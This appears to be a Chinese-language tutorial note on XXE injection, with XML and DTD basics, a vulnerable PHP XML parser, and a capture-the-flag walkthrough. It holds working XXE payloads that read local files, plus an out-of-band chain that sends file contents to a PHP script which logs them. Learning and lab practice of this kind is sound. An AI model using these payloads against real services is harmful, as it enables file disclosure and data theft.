概念
xml 外部实体注入漏洞,发生在应用程序解析 xml 输入时没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取,命令执行,内网端口扫描等危害
触发点往往是可以上传 xml 的地方,没有对上传的 xml 进行过滤,导致可以恶意上传 xml 文件
基础知识
XML 介绍
xml 指可拓展标记语言,用来传输和存储数据,没有预定义标签,允许作者定义自己的标签和文档结构
语法规则
XML 必须有一个根元素
XML 元素必须有一个关闭标签
XML 标签对大小敏感
XML 元素必须被正确嵌套
XML 属性值必须加引导
例如:
1 2 3 4 5 6 7
| <?xml version="1.0" encoding="ISO-8859-1"?> <note> <to>George</to> <from>john</from> <heading>reminder</heading> <body>Don't forget the meeting!</body> </note>
|
PHP 接收 XML
1 2 3 4 5 6 7
| <?php $data = file_get_contents('php://input'); $xml = simplexml_load_string($data); foreach ($xml as $key => $value) { echo "key: ".$key." value: ". $value."<br>"; } ?>
|
实体引用
DTD 文档类型定义
DTD 文档类型定义作用是定义 XML 文档的合法构建模块
DTD 可以在 XML 文档内部声明,也可以外部引用
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE note[ <!ELEMENT note (to,from,heading,body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)> ]> <note> <to>George</to> <from>john</from> <heading>reminder</heading> <body>Don't forget the meeting!</body> </note>
|
PCDATA 的意思是是被解析的字符串数据,PCDATA 是会被解析器解析的文本。这些文本将会被解析器检查实体以标记,文本中的标签会被当作标记来处理,而实体会被展开
在声明中这样可以定义变量
在 XML 文档里引用&变量名;
1 2 3 4 5 6 7 8
| <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE note[ <!ELEMENT note (body)> <!ENTITY hack "hacked by king"> ]> <note> <body>&hack;</body> </note>
|
还可以引用文件
1 2 3 4 5 6 7 8
| <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE note[ <!ELEMENT note (body)> <!ENTITY hack SYSTEM "file:///C:/windows/win.ini"> ]> <note> <body>&hack;</body> </note>
|
XML 文档规定:只有在 DTD 中才能引用参数实体,参数实体的引用和声明都是以%开头的
下面三个实验源码没有完善,还不行
1.xml
1 2 3 4 5 6 7 8 9
| <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY % evil SYSTEM "file:///D:/anquan/localtest/WWW/php/xxe/test/flag.txt" > <!ENTITY % xxe SYSTEM "http://127.0.0.1/php/xxe/test/dtd2.xml" > %xxe; %all; ]> <foo>&send;</foo>
|
dtd2.xml
xml 不允许实体再去引用实体,所以不能把 data2.xml 写在文档里而要外部引用
1
| <!ENTITY % all "<!ENTITY send SYSTEM 'http://127.0.0.1/php/xxe/hacker.php?cookie=%evil;'>">
|
hacker.php
1 2 3 4 5 6 7
| <?php $cookie = $_GET['cookie']; $time = date('Y-m-d'); $fp = fopen("cookie.txt","a"); fwrite($fp,"Date: ".$time." Cookie:".$cookie."\n"); fclose($fp); ?>
|
例题
http://web.jarvisoj.com:9882
搜索框传递的格式是 json 改为 xml,就可以读文件
思路:
告诉了 flag 的位置,并且是在非 apache 解析目录相下,想读取文件,要么 getshell,要么文件读取
在发请求过程实现文件读取 -> XXE
1 2 3 4 5 6 7 8
| <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE note[ <!ELEMENT note ANY> <!ENTITY evil SYSTEM "file:///home/ctf/flag.txt" > ]> <note> <body>&evil;</body> </note>
|
xxe-lab
https://github.com/c0ny1/xxe-lab
直接放到 phpstudy 的 WWW 目录下
最后更新时间: